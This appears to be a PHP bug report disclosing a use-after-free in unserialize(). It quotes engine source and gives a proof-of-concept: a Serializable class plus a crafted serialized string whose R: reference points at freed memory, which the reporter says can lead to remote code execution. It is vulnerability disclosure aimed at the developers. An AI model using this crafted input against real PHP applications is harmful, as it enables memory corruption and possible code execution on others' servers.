Description:
------------
I has reported some similar bugs in BUG#70166, BUG#70168 and BUG#70169
```
if (ce->unserialize == NULL) {
zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
object_init_ex(rval, ce);
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
return 0;
}
(*p) += datalen;
return finish_nested_data(UNSERIALIZE_PASSTHRU);
}
A specially defined Serializable lead to various problems.
PoC:
```
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
$this->data = 1;
}
}
$inner = 'a:0:{}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
$data = unserialize($exploit);
for($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($data);
```
We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.